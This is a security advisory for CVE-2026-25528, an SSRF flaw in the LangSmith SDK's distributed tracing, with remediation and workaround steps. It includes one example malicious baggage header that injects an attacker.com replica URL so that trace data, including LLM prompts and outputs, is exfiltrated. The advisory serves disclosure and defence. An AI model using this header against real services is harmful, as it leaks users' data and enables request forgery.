CVE-2026-25528: LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

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Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

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Attack Vector

1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: `` baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] ``

1. The service parses the header via RunTree.from_headers(), storing the attacker's URL

1. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

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Impact

• Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
• SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

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Affected Use Cases

Applications are vulnerable if they:

• Use TracingMiddleware to automatically propagate tracing context
• Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

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Remediation

Update to the patched versions:

• Python: pip install langsmith>=0.6.3
• JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.

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Workarounds

If unable to upgrade immediately:

• Strip or validate the baggage header before passing to from_headers()
• Do not use TracingMiddleware with untrusted traffic